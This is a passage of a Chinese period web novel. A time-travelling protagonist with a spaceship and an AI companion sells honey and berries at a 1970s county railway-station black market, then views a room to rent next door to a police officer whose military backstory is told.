“有的,”售货员当即从柜台底下翻出来大大小小摞在一块的竹筐,“同志,你看要多大的竹筐?有三个尺寸,大竹筐只要八分钱,中等竹筐五分钱,小的两分钱。” 不得不说,物价是真便宜。楚虞大手一挥,“三个尺寸都来两个!” “哎行。” “我还要买玻璃瓶,店里有玻璃瓶卖吗?”楚虞说。 “玻璃瓶?”售货员眉头紧皱,看了看左右两边的货架,“罐头瓶子行吗?你买两个黄桃罐头,吃完了罐头,那不就是现成的玻璃瓶?” 楚虞“啊”了一声。 售货员没多想,转了身去拿货架上的黄桃罐头,小心翼翼摆放到柜台上,“罐头是个好东西,算是营养品呢,就是卖的贵,一瓶两块三,但不要票。” 毕竟这年头,买白砂糖或者红糖都需要糖票呢。 罐头里面就是现成的糖水,不要票,唯一的缺点就是价格贵,开封以后需要尽快吃完,否则过个两三天就不新鲜了。 为了玻璃瓶,楚虞只能咬牙点头,买下两个昂贵的黄桃罐头。 接下来他顺便买了一个搪瓷饭盒,敞口带盖有把手,侧面印有“劳动者光荣”的红漆字样,极具时代特色。 “小同志,这六个竹筐三毛钱,黄桃罐头四块六,搪瓷饭盒两块钱另外搭一张工业券。一共五块九毛钱。” “……好的。”楚虞忍痛掏钱掏工业券。 去了一趟供销社,兜里仅剩的十五块钱迅速缩水,变成了九块一毛钱。 想到以后还要租房,要置办一切生活用品,买衣服,下馆子吃饭……楚虞深觉花钱的地方只会越来越多,肩上的担子仿佛越来越沉重了! 12.第 12 章 有了罐头瓶子,楚虞回到飞船上迅速倒腾,黄澄澄的黄桃罐头倒进碗里,把玻璃瓶子洗干净,擦干,倒满野蜂蜜。 然后是六个大小不一的竹筐,堆放在地上的刺莓子统统挪进去。 做完了售卖商品的前期准备,楚虞抓紧时间坐到饭桌前,美滋滋地吃起了碗里的黄桃罐头。 这暂时就是他的午饭了! 琥珀色的黄桃果肉晶莹透亮,咬一口绵密柔滑,甜中带酸,能清晰地品尝到黄桃天然酸涩的果香,以及糖水慢炖出来的蜜香。每一口都是幸福至极的味道。 008冷哼,“黄桃罐头好吃吗?” 楚虞头也不抬唔唔赞叹。 008警告他,“先前你偷吃野蜂蜜,又吃了那么多刺莓子,现在还吃黄桃罐头!这一天的糖分摄入量已经严重超标了!” 不听不听,王八念经。 楚虞一口气消灭了所有的黄桃果肉,剩下的糖水也没浪费,他喝了两三口,实在撑得喝不下了,只能遗憾地放进冷库里,等着下次再喝。 然而当天晚上当他回到飞船上想要喝罐头糖水时,却发现冷库里的糖水早已消失的无影无踪! 当然,这些都是后话了。 下了飞船,楚虞慢悠悠走在街道上,他胳膊上挎着沉甸甸的竹筐,上面盖了两层毛巾,挡住了众多好奇的视线。 他想找黑市,但不知道黑市在哪。 “小八,现在这个时间,县城里哪儿人最多最热闹呢?”楚虞试图走捷径。 “……”问得真好。 由于代码限制,008不能直接告诉楚虞黑市在哪,但能告诉他哪儿的人最多最热闹。 008:“火车站。” 楚虞眼睛一亮,对啊,差点忘了火车站! 火车站是最常见的交通枢纽站,人来人往,人流混杂,若是在那里私下买卖,客流量多,东西自然卖得快。 另一方面,由于火车站人员流动性强,交通四面八达,更方便逃避公安局的抽查抓捕。 得知兴安县火车站的具体位置,距离还挺远,在另一个快要出城区的方向,乘坐附近的公交车,足足二十分钟后才能抵达。 为了节省时间,楚虞当机立断回去飞船,偷懒坐飞船一秒直达。 火车站不大,光秃秃的铁道边上,坐落着一间破破烂烂的红砖瓦房,上面挂着兴安县火车站的招牌,里面仅有一个售票窗口。 站上人来人往,吵闹声嚷得人耳朵里嗡嗡嗡的响,四面八方都是背着大包小包的男女老少。 “滴滴——!” 刺耳尖啸的鸣笛声一瞬间几乎穿透耳膜。楚虞连忙捂紧耳朵,皱紧了眉看向铁道。 只见一列破旧的绿皮火车远远驶来,带着咣当咣当的巨大动静。 列车颤颤悠悠停了下来,门一开,风尘仆仆疲惫不堪的人群纷纷挤了下来。 也有不少扛着麻袋的庄稼汉着急上车,有从门口挤进去的,也有从车窗上爬进去的,手段五花八门。 楚虞看得惊呆。 “哎别着急,别挤别挤,大家都别挤啊!”乘务员呐喊。 “都让让,先让人下车!” “下车!”现场乱成一片,尖叫声吵闹声此起彼伏。 就在此刻乱糟糟的时候,老太太用围巾裹着脸,只露出一双眼睛,趁乱来到出站必经的那条路上,压低了嗓音呐喊:“要买米面吗?高粱米一斤八毛。” 急匆匆出站的男人脚步一顿,“有挂面卖吗?” “没,只有高粱米和豆面。”老太太低声摇头。 “俺有啊,俺这儿有干挂面!”不远处有庄稼汉连忙应声。 拎着柳条箱的男人急忙过去,两个庄稼汉满脸紧张,一个四处张望时刻观察环境,另一个则是抓紧麻袋,小心谨慎地打开口子,露出里面扎成一捆一捆颜色发黄的干挂面。 男人眸光发亮,“怎么卖?” 庄稼汉低声,“按捆卖,一捆干挂面得有两斤了,八块钱。” “八块啊!”男人直搓手,似乎嫌太贵,面色犹豫不决。 虽说黑市粮的价格都涨上了天,但还是太贵了,百货大楼也有卖干挂面,那价格一斤卖一块五,便宜,但同时也要一斤的细粮票。 细粮票更难得,不好攒啊。 就拿淮山二矿一级工的工人待遇举例,每人每月仅能领到四两的细粮票。这就说明细粮票有多难得了。 庄稼汉也不着急,更没有多说话,只等着男人做决定。 过了片刻,男人颤着手从兜里掏出手绢,手绢一层一层剥开,露出花花绿绿的一沓票券。 男人咬咬牙,“给我拿两捆挂面!” 他媳妇怀孕七个月,挺着大肚子,大夏天受罪得很,平时吃饭都吃不下。干挂面下锅煮了,起码吃着软和,不拉嗓子。 更何况黑市上极少能碰到有卖干挂面的,机会难得,哪怕价格贵也得多买一捆,总之放橱柜里放不坏。 男人狠狠心掏了十六块钱。 一手交钱一手交货,庄稼汉和男人紧挨着转过了身,借着身形遮挡,两捆干挂面迅速塞进柳条箱。 那边老太太也零零星星卖出了不少高粱米。 楚虞观察半晌,找了个角落背对人群,戴上口罩,再用围巾蒙住脸,愉快地加入了黑市。 他拎着两只沉甸甸的竹筐,直接来到了售卖干挂面的两个庄稼汉身旁,找了个太阳晒不到的阴凉角落蹲下去,朝着路过的人低声叫卖。 “卖野生蜂蜜!刺莓子!走路路过不要错过,便宜大甩卖,都来看一看呐。” “……” 两个庄稼汉蒙着脸,目光看向身旁的楚虞,透露出一言难尽的微妙眼神。 见过黑市里这么明张目胆叫卖的吗? 真不怕招来公安同志。 庄稼汉默默抓紧了麻袋,朝右边挪了七八步,离楚虞远了一些。 楚虞:? 多少有点不礼貌了哈。 楚虞哼哼,收回视线,继续低声叫卖,“走过路过看一看啦,纯天然野生蜂蜜!新鲜摘下来的刺莓子!” 有年轻妇女抱着熟睡的婴孩路过,听到“刺莓子”熟悉的字眼,不由一顿。 “卖的是刺莓子吗?” 楚虞当即揭开竹筐上毛巾一角,捏了两颗刺莓子递过去,“尝尝,才在山上新鲜摘下来的,可好吃呢!” 似乎没想到可以直接品尝,年轻妇女接过黄澄澄的刺莓子,看品相确实新鲜,又小心品尝一颗,酸酸甜甜汁水丰富。 想必家里的孩子都爱吃。年轻妇女怯怯地问:“同志,这怎么卖呢?” “不要钱,我只换粮票或者肉票。” “换粮票?怎么换?”她语气诧异。 “对,”楚虞指了指竹筐,“这刺莓子满满一筐呢,至少三十斤重了,只要五斤粮票或者三斤细粮票就能换走。” 年轻妇女眸光微动,她刚从省城探亲回来,身上的全国粮票还没用完,刚好剩一张半斤的细粮票。 “我只有半斤细粮票。”她声音呐呐。 “也可以换!”楚虞爽快点头,“你有麻布袋子吗?我给你装。” “有的。”年轻妇女连忙点头,从挎包里取出一个皱皱巴巴重复使用的麻布袋子。 楚虞没有称杆,没法称刺莓子的斤数,只能估摸着大概斤数有多少,刺莓子一把一把地往里装,几乎把麻布袋子装得满满当当。 年轻妇女惊呆了,“半斤细粮票,能、能换这么多刺莓子吗?” 楚虞顿了顿,大大咧咧点头,“可以的。这都是山里随便摘的,不值钱。” 老实说,他看见眼前的年轻妇女面颊凹陷,瘦的几乎一阵风便能吹跑,她怀里抱的女婴更是瘦歪歪的,头毛稀疏发黄,一副吃不饱营养不良的模样…… 楚虞瞧着有些心软,不知不觉,忍不住多抓了两把三把刺莓子。 好歹换来半斤细粮票,也不是白做善事。 楚虞收了粮票,年轻妇女拎着满满一袋的刺莓子,面带欣喜离开。 有了这一单交易开头,接下来询问刺莓子的路人更多了,但听到楚虞不换钱,只换粮票肉票,大多数人纷纷摇头离开。 也有几个穿着讲究戴眼镜的中年男人,舍得拿出粮票换不值钱的刺莓子,楚虞主动打听几句,基本上都是买个新鲜,拿回去给家里的老人小孩甜甜嘴。 忙活半晌,两个竹筐里的刺莓子所剩不多,却只换来一共两斤半的粗粮票,半斤细粮票。 下馆子吃饭暂时够用了。 楚虞累得够呛,觉得这买卖不大好做,效率太低,很少有人愿意用粮票换山里的刺莓子,不如改换策略,先卖钱吧。 十颗刺莓子卖一毛钱。 随 着楚虞的叫卖呐喊,竹筐里剩下的刺莓子很快得到了大畅销——但凡有带小孩的大人路过,小孩看见黄澄澄的刺莓子嚷嚷要买,大人询问价格,只要口袋里不缺那一毛钱的,都愿意掏钱买十颗刺莓子哄小孩。 不到十分钟,刺莓子全部销空。 楚虞哗哗数钱,这一波叫卖赚了两块三,还行还行,感谢这帮小孩照顾刺莓子的生意! 至于剩下的两瓶野生蜂蜜,几乎无人问津……楚虞愁得要命,怎么回事?咋没人想买蜂蜜呢? 他定的价格很贵吗?一瓶蜂蜜换五斤粮票,还搭送一个罐头瓶子,罐头瓶子也很值钱呢! 蜂蜜换不来粮票,只能换钱了。 楚虞立马嚷嚷,“又甜又香的野生蜂蜜,一瓶十块钱。” “……” 近处的两个庄稼汉眼角直抽抽,高个头男人忍不住吐槽,“……哥,他胆子咋那么大?声音越喊越响了。” 矮个头的男人翻白眼,“走,俺们离他更远一些。” 于是楚虞抬起头,眼睁睁看着两个庄稼汉越躲越远,要不是火车站出站的必经之路就这么一点儿,只怕两人恨不得距离他十丈远。 更不礼貌了啊! 楚虞冷哼一声,很快迎来了第一个询问蜂蜜的顾客。 “小同志,这野生蜂蜜能尝尝吗?” 说话的年轻男人语气吊儿郎当。只见他双手插兜站在楚虞面前,脸上表情懒懒散散,像是路过随口一问。 楚虞瞪圆了眼睛打量他。 原因无他,这男人模样称得上年轻英俊,穿着时髦挺括的白衬衣西装裤,袖子挽起来,露出手腕上佩戴的劳力士手表,脚踩一双部队制式的牛皮军靴! 毫无疑问,是个有钱的大顾客。 楚虞顿时来了精神,掏出提前准备的两根牙签,拧开蜂蜜铁皮盖,用牙签蘸了蜂蜜交给男人,“尝尝?” 男人挑了挑眉,接过牙签品尝蜂蜜,眸光顿时一亮,“怎么卖来着?” “一瓶蜂蜜二十块。”当场涨价。 男人脸色瞬间变得微妙,“我若是没听错,你刚才、不是叫卖说一瓶蜂蜜十块钱吗?” 楚虞面不改色,哈哈打趣,“你一定是听错了,我一直喊的卖二十块嘛。” “……行。”男人扔了牙签,转身走人。 “哎哎哎回来!”楚虞连忙挽留,语气卑微,“降价了降价了,一瓶十五块!” 男人翻白眼,转了身爽快掏钱,“两瓶我都要了。” 要不是尝出来这野蜂蜜的品质确实好,他还不愿意被这么宰呢。 楚虞满脸哀怨,正准备把两瓶蜂蜜递给男人,就看见远处跑来了一个穿着时髦蓝色海魂衫的年轻男人。 “徐云川!你干嘛呢?”那人嗓门极大。 “买野蜂蜜啊。”徐云川掏了掏耳朵,接了楚虞递过来的两瓶蜂蜜。 楚虞目光低垂,默默打量迎面而来的海魂衫男人。 对方看起来同样年轻,皮肤被晒成小麦色,脖颈上带了一根红绳,底部露出半截纸符,像是寺庙里求来的平安符。 手腕上也戴劳力士,脚踩一模一样的牛皮军靴。 确认过眼神,这军靴就是部队制式同一批造出来的! 再看两人如出一辙挺拔端正的体态,走路一步三摇,八成是当兵的,还是颇有权势的部队子弟,不缺吃穿不缺钱。 所以身上有一种明亮的、让人难以忽视的松弛感。 这样的气质,和谢磐石给人的感觉似乎很相似。 想到这里,楚虞收钱的动作微微一顿,应该不会这么巧? 这两人和谢磐石认识吗? 徐云川手里的三张大团结迟迟没人接,不由纳闷,“小同志,不要钱了?” “要!”楚虞立马回神,冷酷无情收了钱。就算这人认识谢磐石,也不能耽误他宰客挣钱! 下一秒,就听见徐云川转了身和海魂衫男人边走边念叨,“你知道谢磐石在哪儿住吗?” “不知道,”那人双手插兜,“磐子不是回京了吗?听说朵朵出事了,他人现在不在兴安县,咱们先去公安局报到,忙正事……” 两人说话的声音渐渐远了。 楚虞轻手轻脚收摊,仿佛做贼一般,抄起竹筐,不多久便跑没了影。 黑市买卖竟然遇上谢磐石的朋友!简直倒霉透顶! 13.第 13 章 下午回到矿区已经是两点整。 楚虞来到办公室,扒着门框,心虚探出脑袋。 却见梁正新坐在工位上,皮笑肉不笑,“楚虞同志,怪我没有事先告诉你,从今往后,下午最迟一点半就要来上班,可以做到吗?” “……可以。”呜呜早八晚五,中午休息时间竟然只有一个半小时吗? 楚虞猫猫流泪眼,他迟到了半小时,不得不减少摸鱼次数,任劳任怨给梁正新整理数据,打下手。 下午五点整,矿区的下班铃准时响起。 楚虞浑身一震,仿佛奴隶翻身做主获得了自由与解放,立马从工位上站起身。 梁正新迟钝抬头,扶了扶厚重的眼镜,“下班了啊?” “是的,下班了!”楚虞脸上难掩激动,“梁正新同志,你也知道,我还要出去满大街找房子住呢,就不陪你加班了啊!” “……” 楚虞拎起书包就跑,跑至大门口,想了想又和梁正新道:“小梁同志,适度加班,健康生活。要知道工作是永远做不完的,牛马……不是,上班的人也需要放松身心。” 梁正新面无表情,“小楚同志,再多说一句,你就不必下班了。” “!” 楚虞惊恐逃之夭夭。 见他跑得比猴都快,办公室里的梁正新不禁摇头露笑。 他捏着一张薄薄的纸张,是楚虞下午整理出来的数据——再抬头看到桌上堆积如山的资料。 梁正新闭了闭眼,深吸一口气,如此庞大繁琐的计算量,若是由他亲自上手整理,最少也需要半个月的时间才能完成。 楚虞却能在短短一个下午的时间里完成任务,并且这期间他还偷懒摸鱼,不是咣咣喝水做眼保健操,就是跑厕所。 短短一天接触下来,梁正新基本摸清了楚虞的性情,年轻,直白,身上有种未曾被社会污染的天真和愚蠢。 工作竟然会想着偷懒? 虽然没耽误工作效率,但也令人忍俊不禁。 这样举世难得独一无二的计算天才,偶尔在工作上偷懒摸鱼,是再正常不过的事了。 值得闭眼原谅。 楚虞浑然不知梁正新对他上班摸鱼的包容度已经上升到另一个层次了。 对楚虞而言,快乐自由的下班生活,应当从下馆子吃饭开始。 进去国营饭店,他掏出两角钱,搭一张四两的细粮票,买了一份加面版大碗三鲜汤面。 三鲜汤面上得很快。 楚虞端着大海碗找到角落饭桌坐下,只见汤是用骨头熬了许久的高汤,汤面清亮,上面飘着三两滴葱油,看着便让人食欲大开。 他舔了舔唇,迫不及待开始动筷。 二十分钟过去,楚虞捧着吃撑了圆溜溜的肚皮离开国营饭店。 时至傍晚,夕阳西下,绚丽的晚霞布满了整片天空,景色美不胜收。 有风吹了过来,风声带来远处银铃般的清脆笑声—— 小孩们在街上拍着手,身上的衣袖打满了补丁,袖口脏兮兮的,红通通的脸上带着笑,唱着歌谣:“啦啦啦,啦啦啦。谁家的爸爸回来啦,玉米馍馍烧焦啦……” 楚虞靠在墙上,听着小孩稚嫩的歌谣,脸上神情渐渐放松,“小八,我有点喜欢这个时空了。” 008给他欢快的回应,“008也喜欢这个时空。” 楚虞笑了笑,由着自己坐在街边发呆放空。 过了好一会儿,直到远处玩闹的小孩们纷纷散去,他才站起身,拍了拍衣服上的尘土。 “走,我们去看房!” “好哦。”耳机里的008提出建议,“小主人先去附近的解放路,看看那里独门独户的小院子。” 虽然楚虞住在飞船上更方便更舒适,但他仍然需要一个明面上众所皆知的住处。 008提前扫描城区,早早给楚虞物色好了两处适合居住的空置房屋: 一个是解放路独门独户的青砖小院,另一个则是公安局附近的花园洋房。具体租哪个,就要看楚虞更喜欢哪一个房子了。 有008指路,楚虞很快找到了解放路。 解放路距离淮山二矿不远不近,步行大约二十分钟左右,日常通勤不算远,若是以后有了自行车,上班就更方便了。 沿着街道一路走过去,不高不矮的院墙,墙上长满了青苔,生长旺盛的绿藤叶子顺着墙顶攀爬出来。 院墙里面是一间又一间的青砖瓦房,房子瞧着有些年头了,散发出古朴安静的气息。 有住满了三五户人家吵吵闹闹的大杂院,也有独门独户的青砖小院。 这其中,有一间青砖小院冷冷清清,大门上挂了一把生了锈的锁。 楚虞当即停下脚步,站在小院门口,从门缝里看到里面的环境——院子并不大,四四方方,中间有一口水井,再往里坐落着两间房,像是年久失修,窗户破败不堪。 然而这些都不重要。 楚虞皱眉,“这里面是不是没有厕所?” 008:“……” 008吞吞吐吐,“街道外头有公厕,唔,街坊邻居都去公厕呀。” 楚虞微笑,“你知道这条街住了多少人,而公厕又有几个厕坑呢?是让我早上八点排队上厕所吗?” 008:“……这个问题很容易解决,我们可以在院子里单独修一个厕所。” 楚虞给出的答案,便是毫不犹豫转身离开。 008:“。” “小八同志!”楚虞态度决然,“我看过一部分历史记载,对某段描述印象十分深刻。据说这年代城市里的水沟排水管道经常堵塞,一旦遇到倾盆 暴雨久久不停,水沟堵塞,污水就会返流到街上……” 这污水仅仅是过多的雨水和泥水混合,出门踩一脚也就罢了,尚且能叫人容忍。 倘若把这样的场景套用到公厕上呢? 资料上没有记载相关描述。 但楚虞闭着眼都能想到——公厕没有排水系统,倾盆暴雨来临,粪水溢出,返流到附近的街上! 008惊恐尖叫,“太可怕了!” 在它的尖叫声中,楚虞同样面带惊恐,火速逃离解放路。 青砖小院不用考虑了,划去! 至于另一处公安局附近的花园洋房……实地考察看看! 来到公安局这片街区,008当即夸夸其谈,“小主人,经008扫描,这里地势高,仅有的三个公厕是近两年修起来的,有单独排污的管道,绝对不存在下雨返流到街上yue……的场景!” “……”楚虞无语望天。 “你说的花园洋房在哪呢?” “再往前走走,拐个弯就能看到了。” 在街道尽头拐弯过去,楚虞惊呆了。 只见目力所及之处,全是高高低低风格迥异的建筑物。 破败的教堂钟楼,被改造成街道办事处的医院,一栋又一栋独立的白色红顶小洋房…… 楚虞突然觉得住在这里很不错。 耳机里的008给他指路,“看见了吗?那边有个独栋二层花园大洋房!” 确实是一栋很大的二层花园洋房。 白色楼体红色立式屋顶,花园也挺大,一半长满了荒草,另一半规划出来,种满了黄瓜豆角大白菜。 美中不足的是,漂亮的花园洋房被简单粗暴的改造过。 只见楼体外侧,多了一道明显是后来才修建起来的水泥楼梯,直接通向二楼向阳的楼道。 二楼有三间房,靠近水泥楼梯的右边两间房显然有人居住,大门紧闭,门上挂着防蚊透风的竹帘,门前也有堆放柴禾煤球。 只有最靠里的那间房,门前空空荡荡,毫无生活气息。 008藏了私心,没有直说隔壁住的邻居是哪位,只给楚虞说道:“二楼空了一间房,虽然面积不大,但一个人住的话也还行。里面还有独立卫生间呢。到了冬天,这花园洋房也在锅炉房统一供暖的片区里,和公安局家属楼一样的暖!” 楚虞眼睛发亮,“那我上去看看?” 没等他敲门,身后陡然出现两个熟悉的男人身影。 徐云川站定,仰头看花园洋房,“谢磐石就住这啊?” 海魂衫则是指指点点,“大地主的花园洋房呢,听说二楼那层楼单独卖,当年磐子调到兴安县,直接掏钱买下来了。” 楚虞:? 和谢磐石做邻居? 008:“……”可恶啊! 14.第 14 章 楚虞恍惚觉得,谢磐石人不在兴安县,却仿佛江湖处处都有他的身影。 他在黑市卖刺莓子卖蜂蜜,遇到了谢磐石的朋友。 现在他租房看房,又撞上了谢磐石的住处。 看着眼前近在咫尺的花园洋房,楚虞多少有一点儿纠结和犹豫,和谢磐石做邻居,只怕以后会有不少麻烦。 谁让那讨人厌的家伙能闻到他的信息素味道呢? 思来想去,楚虞还是决定离开,远离花园洋房! 然而不等他转身,身后传来徐云川疑惑的嗓音,“这位小同志,看你好像挺眼熟啊?” 楚虞:“……” 楚虞转了身,面不改色:“同志你好,我们认识吗?” 徐云川眯了眯眼,上下打量楚虞。 常年累月的军旅生涯让他练就了鹰隼般锐利的目光,他一下便认出了楚虞的身影。 “卖蜂蜜的?” “什么卖蜂蜜的?同志,你认错人了吧。”楚虞咬死了不承认。 反正在黑市里他戴着口罩用围巾蒙着脸,天王老子来了也看不见他的脸。 管别人说什么?只要没有证据,一切都是污蔑! 徐云川面上微微笑,“行,我们不认识。” 他话锋一转,又问楚虞,“刚才离得老远我就看见了,你在这花园洋房门口鬼鬼崇崇转来转去,怎么?看出什么了吗?” 楚虞理直气壮,“听说这里有房子出租,我想看看还不行吗?” 徐云川笑笑,不知是信了还是不信:“是吗?那怎么不敲门进去看看?” 他身旁的海魂衫男人顿时也察觉出了不对劲,目光凛冽,紧紧盯住了楚虞。 楚虞:“……” 楚虞叹气,“那不是刚才听见你们在后头说二楼洋房是谢磐石的吗?我不想跟他做邻居行不行啊。” 海魂衫眸光一亮,“你认识磐子?” 楚虞不情不愿点头,“算是认识。” 三人在花园洋房大门口逗留半晌,但凡眼睛不瞎的,都能看见。 只见满头白发的老太太从一楼的洋房里走了出来,隔着铁艺大门拘谨地问:“同志,请问你们找谁?” 徐云川伸手指向了楚虞,“他要租房,来看房子。” 楚虞:“!” 楚虞怒目瞪他。 老太太没注意到两人之间的眼色争执,高兴道:“那可以上去看看。二楼确实空一间房,你放心,二楼不是我们崔家的,那是谢公安的房子。谢公安平时工作忙,把那房子的钥匙在我们这也放了一把……” 不能怪老太太如此积极主动。 这花园洋房是崔家祖上传下来的,从前崔家是出了名的大地主,可以说建国前的兴安县几乎有一半姓崔。 就连这片建筑风格迥异的洋房街区,也是当年的崔家老爷子一手修建起来的。 后来打土豪分田地,崔家态度积极,主动上交产业,给上头省了不少麻烦。 作为被拉拢被团结以及可以被社会主义改造的一份子,崔家便幸运地留下了一栋花园洋房以供子孙后代居住。 尽管崔家从此开始低调,但坐拥一栋二层花园大洋房,也还是太过招人嫉妒眼红。 直到去年崔老爷子过世,崔奶奶拍板做主,把洋房二楼单独辟了出来,放出话售卖,正巧赶上谢磐石调来兴安县,他住不惯单位分配的宿舍,正要买房,便看上了花园洋房。 在房管所的见证下,洋房二楼的三间房便易了主。 谢磐石的公安身份实在好用。自从他搬进二楼,平时在崔家门口骂脏话找麻烦的街坊邻居都少了许多! 崔奶奶感念谢磐石的庇护,知道他隔壁有一间房空置,想租出去,但一直寻不到合适的租户…… 如今有楚虞来看房,她当然要积极主动热情介绍了。 “小同志,别看二楼空置的那间房面积不大,麻雀虽小五脏俱全,里面有独立卫生间呢……” 老太太边说边打开了铁艺大门,迈着小脚直奔回家,冲着屋内大喊,“阿旭,有人来看房,你拿着钥匙带人上去看看。” “哎来了。” 话音落下,一个二十来岁的年轻小伙兴冲冲跑了出来,看见楚虞那张脸,愣了一下就被崔奶奶推搡一把,“带着小同志上二楼看看。” 崔旭忙回神:“走走走,我们上去看看。” 话赶话到了这份上,楚虞不跟着上去二楼看看似乎都不太合适了。 一行人踏上了水泥楼梯。 徐云川直皱眉,“这楼梯太窄了。” 海魂衫也在挑剔,“花园荒了一半,太浪费!拿来当自留地,哪怕种点大白菜呢。” 崔旭听得汗颜,擦擦脑门上的汗,“两位同志有所不知,那一半荒地是留给谢公安的,他平时工作忙,顾不上打理花园……” 事实上崔家很愿意帮忙打理,奈何谢磐石不大喜欢让人插手。 他很有领地意识,当年搬进洋房第一件事,就是在花园中间垒了一排砖石,一分为二,一半是崔家的自留地,另一半是他自己的。 这操作没毛病,很合理。 最初谢磐石找来两只笼子放花园角落,据说是准备养两只看门狗,后来不知怎么养狗的事泡了汤,狗笼子也被他扔出去了。 后来又听说他家里寄来一批花种,他种下去以后,花没长出来一朵,乱七八糟的草叶子倒是长了不少。 那段时间谢磐石每次路过花园,都要阴着脸停驻半晌,崔家众人看见了,都不敢说话,怕他更生气恼火。 于是大家伙只能眼睁睁看着另一半的花园就这么荒下去了。 当然,这些奇奇怪怪的旧事就没必要给楚虞讲了。 一行人上了二楼,先是路过谢磐石住的那两间房,徐云川忍不住好奇,扒着窗户往里看,“南儿,里面拉了窗帘,看不见啊。” 海魂衫,也就是李培南。李培南也叹气,“下次吧,过几天咱们忙完正事,到时候看磐子回来了没?” 崔旭闻言扭头,“你们是谢公安的朋友?” 徐云川淡淡地嗯了一声,两手插兜,一副不打算多说的模样。 崔旭的目光从两人身上扫过,摸了摸鼻子,识趣地没再多问。 楚虞在其中默默充当哑巴。 来到第三间房,门是略显厚重的雕花红木大门,上方带天窗,大门旁边墙上也有一扇方方正正的窗户,也是玻璃窗。看得出来这间房子的采光差不到哪里去。 崔旭从腰间拿出一把铜质钥匙,开了锁,推门率先进去。 门一开,飞扬的灰尘扑面而来,呛得楚虞连连咳嗽。 崔旭尴尬解释,“这房子空置太久,没人打扫,就落了不少灰……” 楚虞又是咳嗽两声,捂住口鼻,皱着眉走进了房间。 入眼便是二十来平的大开间,一览无余,瞧着空荡荡的,只在中间放置了一张落满了灰的笨重双人床,以及墙角的双门衣柜。 门口正对面是两扇窗户,此刻窗外彩霞漫天,柳树叶子随着风吹哗哗作响,视野里的风景极好。 楚虞忍不住在窗前多看了一眼。 崔旭便道:“二楼的采光比一楼更好,两边对墙都有窗户,白天太阳从门口那边的窗户晒进来,傍晚从对门窗户又能看到夕阳……” 两人一边说着,一边去看独立卫生间,卫生间很小,但配备的装置叫人大开眼界。 白色大理石洗手台,老式铸铁水龙头,墙上足足一米宽的大镜子。白色陶瓷质地的抽水马桶,通过手拉水箱的绳子冲水。 楚虞诧异地看了又看抽水马桶! 据他所知,这年头只有极少数的“苏式专家楼”才会有抽水马桶。 崔旭心虚解释,“这栋花园洋房是我爷爷当年亲自看着建起来的,东西都是选了当时最好的……” 毕竟自己家里人住,当然得用最好的。 楚虞起初打算看看房子就果断离开,结果走进去看了一圈再出来,顿时有点儿改变主意了。 原因无他,这洋房的配置条件太好了,有独立卫生间,有洗手台有马桶,恐怕翻遍兴安县所有空置的房源,都比不上这间房。 楚 虞纳闷,“这房子不差,怎么一直空置着没人租呢?” 这就是崔旭接下来需要强调的重点了,“谢公安对租户有具体要求——带小孩的不给租;小夫妻两人住也不行……” 因为小夫妻之间迟早会诞生小孩,小孩会吵闹。 一大家子超过三人住的,人太多,麻烦,且吵闹。不行。 年纪太老的,不行。 邋里邋遢不讲卫生的,不行。 吃狗肉的,更不行。 …… 综上而言,最符合谢磐石要求的租户是单身独居,年轻男性,租房期间内不结婚,安静不吵闹,爱干净,并且不吃狗肉。 这些鸡零狗碎仿佛挑毛病一样的要求说完,现场安静一瞬,徐云川和李培南哈哈大笑。 楚虞:“……” 楚虞无语望天,发现自己是符合所有鸡零狗碎要求的、十分合格的租户。 楚虞:“房租多少?” 崔旭欣喜,“你一个人租对吗?” 楚虞重重点头。 崔旭忙道:“一个月租金两块,水费电费另算。不过你确定要租的话,得等谢公安回来见见你,他点头同意了才行。” 两块钱的月租金对楚虞而言不算贵,可以接受,但还要经过谢磐石的点头同意? 谁知道谢磐石什么时候回兴安县呢? 倘若他十天半月回不来,楚虞岂不是还要对外宣称自己住半个月的招待所? 想了想,楚虞干脆道:“你知道怎么联系谢磐石吗?比如拍电报,你告诉他是我要租房子,他应该很快就会同意的。” 崔旭诧异,“你也认识谢公安?” 楚虞脸上苦大仇深,“认识。他请我吃过一顿饭。” 徐云川挑眉,“谢磐石还请你吃饭呢?” 李培南不服气,“磐子请咱俩吃过饭吗?” 答案是:没有。 两人目光对视,怒气冲冲确认眼神,一致认为谢磐石搞区别对待! 大院里的铁三角就是他们三,从小玩到大,好的几乎穿一条裤子,后来到了年纪去参军,三人也在一块接受训练,一块选拔进了特种大队执行任务,风里来雨里去,不知多少次死里逃生。 直到最后一次,三人接了机密任务出国,全然陌生的环境,敌方有备而来的袭击,突然倒戈的当地政府……种种迹象证明此次行动早已暴露,对方是设了陷阱专门瓮中捉鳖呢。 徐云川和李培南差点死在异国他乡,全靠谢磐石一力回天,拖着中弹濒死的两人逃出生天。 逃是逃出来了,命保住了,和组织顺利接头,也回到了国内。 但谢磐石在此次行动中犯了病,幼年时期消失的特征再度在他身上出现,双眼赤红遍布血丝,暴躁,发狂,嗜血,吃不进熟食。 听不懂人话。并且浑身高烧不退,一针又一针的进口退烧药打了进去仍不管用。 除了少数和谢磐石熟悉的家人和朋友,几乎所有人都认为他是怪物。 医生和护士害怕他,把他锁进单独的病房,谢母哭着喊着不顾一切冲进去,就像很多年前的某一天有个绝望的母亲从狗笼子里抱出佝偻蜷缩龇牙咧嘴的小男孩哄唱歌谣。 谢磐石最终还是恢复清醒了。 事儿闹的太大,关于谢磐石今后的去向,上头分了两派吵得不可开交,一派认为他脑子有病精神状态不稳定,不再适合继续从军。 另一派则是认为谢磐石在军事行动上天赋异禀,立功无数,不能让功臣寒心,并且有徐云川李培南以及谢家陈家多方势力作保。 吵到最后,却是谢母临时反了悔,让谢磐石退伍转业,退出危险重重的军旅生涯,也远离一切得知他犯病脑子不正常的京都大院。 让他去到一个没有人认识他的兴安县,没有人会觉得他是怪物,没有任何异样的望向他的目光,让他过一个正常且平凡的人生。 这是谢母的期望。 而谢磐石来到兴安县,去公安局点卯上班,泡茶看报,一日三餐,确确实实体验到了一个平凡到无所事事的躺平人生。 15.第 15 章 太阳落山,天色即将昏暗。 兴安县公安局,安安静静的传达室迎来了一群不速之客。 “徐团长!您怎么来了?”值班的年轻公安连忙站起身。 看见徐云川李培南再度出现,年轻公安表面热情寒暄,实际上心里发愁得很。 他们白天才照面打过交道,徐云川负责调查一桩旧案,具体是什么案子没有告知,只说要去档案室调阅资料,老局长特意交代不能怠慢,要积极配合…… 这会儿天都快黑了,又来公安局,莫非临时想起了什么线索? 涉及到陈年旧案,相关资料找起来可不容易,年轻公安越想越是头大。 